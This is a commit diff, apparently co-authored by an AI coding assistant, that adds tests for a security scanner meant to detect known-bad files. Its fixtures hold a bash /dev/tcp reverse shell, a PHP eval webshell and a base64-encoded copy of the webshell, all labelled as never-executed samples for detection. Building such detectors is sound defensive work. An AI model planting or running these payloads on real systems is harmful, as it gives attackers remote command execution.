feat(llm-security): add SIG signature scanner with decode-pipeline matching

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01V3s6WnubSSrFjAQTLQdVbG

tests/fixtures/signature-scan/clean/notes.md

@@ -0,0 +1,5 @@
+# Shell Safety Notes
+
+This guide explains how to use your shell safely: prefer quoting variables,
+avoid running scripts you did not write, and review any command before you
+execute it. Nothing here runs code.

tests/fixtures/signature-scan/poisoned/revshell.sh

@@ -0,0 +1,3 @@
+#!/bin/sh
+# Reverse shell test fixture — never executed.
+bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

tests/fixtures/signature-scan/poisoned/webshell-b64.txt

@@ -0,0 +1 @@
+PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7ID8+

tests/fixtures/signature-scan/poisoned/webshell.php

@@ -0,0 +1,4 @@
+<?php
+// Minimal classic PHP webshell (test fixture — never deployed).
+@eval($_POST['cmd']);
+?>

tests/scanners/signature-scanner.test.mjs

@@ -0,0 +1,126 @@
+// signature-scanner.test.mjs — Tests for the SIG known-bad-identity scanner.
+// Fixtures in tests/fixtures/signature-scan/:
+//   - clean/    : benign prose that merely mentions "shell" (0 findings expected)
+//   - poisoned/ : a PHP webshell, a base64-wrapped copy of it (decode-pipeline
+//                 differentiator), and a /dev/tcp reverse shell
+
+import { describe, it, beforeEach } from 'node:test';
+import assert from 'node:assert/strict';
+import { resolve, join } from 'node:path';
+import { fileURLToPath } from 'node:url';
+import { mkdtempSync, mkdirSync, writeFileSync, rmSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { resetCounter } from '../../scanners/lib/output.mjs';
+import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
+import { scan } from '../../scanners/signature-scanner.mjs';
+
+const __dirname = fileURLToPath(new URL('.', import.meta.url));
+const CLEAN_FIXTURE = resolve(__dirname, '../fixtures/signature-scan/clean');
+const POISONED_FIXTURE = resolve(__dirname, '../fixtures/signature-scan/poisoned');
+
+// ---------------------------------------------------------------------------
+// Clean — benign prose, no known-bad identity
+// ---------------------------------------------------------------------------
+
+describe('signature-scanner: clean', () => {
+  let discovery;
+
+  beforeEach(async () => {
+    resetCounter();
+    discovery = await discoverFiles(CLEAN_FIXTURE);
+  });
+
+  it('returns status ok', async () => {
+    const result = await scan(CLEAN_FIXTURE, discovery);
+    assert.equal(result.status, 'ok');
+  });
+
+  it('produces 0 findings for benign prose mentioning "shell"', async () => {
+    const result = await scan(CLEAN_FIXTURE, discovery);
+    assert.equal(
+      result.findings.length, 0,
+      `Expected 0 findings, got ${result.findings.length}: ${result.findings.map(f => f.title).join('; ')}`,
+    );
+  });
+});
+
+// ---------------------------------------------------------------------------
+// Poisoned — webshell + base64 variant (decode pipeline) + reverse shell
+// ---------------------------------------------------------------------------
+
+describe('signature-scanner: poisoned', () => {
+  let discovery;
+
+  beforeEach(async () => {
+    resetCounter();
+    discovery = await discoverFiles(POISONED_FIXTURE);
+  });
+
+  it('returns status ok', async () => {
+    const result = await scan(POISONED_FIXTURE, discovery);
+    assert.equal(result.status, 'ok');
+  });
+
+  it('all findings carry DS-SIG- ids and scanner SIG', async () => {
+    const result = await scan(POISONED_FIXTURE, discovery);
+    const wrong = result.findings.filter(f => !f.id.startsWith('DS-SIG-') || f.scanner !== 'SIG');
+    assert.equal(wrong.length, 0, `Wrong id/scanner: ${wrong.map(f => `${f.id}/${f.scanner}`).join(', ')}`);
+  });
+
+  it('flags the raw PHP webshell', async () => {
+    const result = await scan(POISONED_FIXTURE, discovery);
+    const ws = result.findings.filter(f => f.file.includes('webshell.php'));
+    assert.ok(ws.length >= 1, `Expected a webshell finding on webshell.php, got: ${result.findings.map(f => f.file).join('; ')}`);
+    assert.ok(ws.some(f => /webshell/i.test(f.title) || /webshell/i.test(f.description)), 'finding should name the webshell family');
+  });
+
+  it('flags the base64-wrapped webshell via the decode pipeline', async () => {
+    const result = await scan(POISONED_FIXTURE, discovery);
+    const b64 = result.findings.find(f => f.file.includes('webshell-b64.txt'));
+    assert.ok(b64, `Expected a finding on webshell-b64.txt (decode pipeline), got: ${result.findings.map(f => f.file).join('; ')}`);
+  });
+
+  it('flags the /dev/tcp reverse shell', async () => {
+    const result = await scan(POISONED_FIXTURE, discovery);
+    const rev = result.findings.find(f => f.file.includes('revshell.sh'));
+    assert.ok(rev, `Expected a reverse-shell finding on revshell.sh, got: ${result.findings.map(f => f.file).join('; ')}`);
+  });
+
+  it('all findings have required fields', async () => {
+    const result = await scan(POISONED_FIXTURE, discovery);
+    assert.ok(result.findings.length >= 3, `expected >= 3 findings, got ${result.findings.length}`);
+    for (const f of result.findings) {
+      assert.ok(f.id, 'missing id');
+      assert.equal(f.scanner, 'SIG', `${f.id} scanner should be SIG`);
+      assert.ok(f.severity, `${f.id} missing severity`);
+      assert.ok(f.title, `${f.id} missing title`);
+      assert.ok(f.description, `${f.id} missing description`);
+      assert.ok(f.file, `${f.id} missing file`);
+      assert.ok(f.owasp, `${f.id} missing owasp`);
+    }
+  });
+});
+
+// ---------------------------------------------------------------------------
+// Hygiene — must not flag its own ruleset / test / docs paths when scanning
+// a project root that contains them
+// ---------------------------------------------------------------------------
+
+describe('signature-scanner: path exclusions', () => {
+  it('does not scan knowledge/, tests/, or docs/ paths', async () => {
+    const dir = mkdtempSync(join(tmpdir(), 'sig-paths-'));
+    try {
+      for (const sub of ['knowledge', 'tests', 'docs']) {
+        mkdirSync(join(dir, sub), { recursive: true });
+        // A file that WOULD match a webshell signature, but lives in an excluded dir.
+        writeFileSync(join(dir, sub, 'sample.php'), "<?php @eval($_POST['x']); ?>\n");
+      }
+      resetCounter();
+      const discovery = await discoverFiles(dir);
+      const result = await scan(dir, discovery);
+      assert.equal(result.findings.length, 0, `excluded dirs should yield 0 findings, got ${result.findings.map(f => f.file).join('; ')}`);
+    } finally {
+      rmSync(dir, { recursive: true, force: true });
+    }
+  });
+});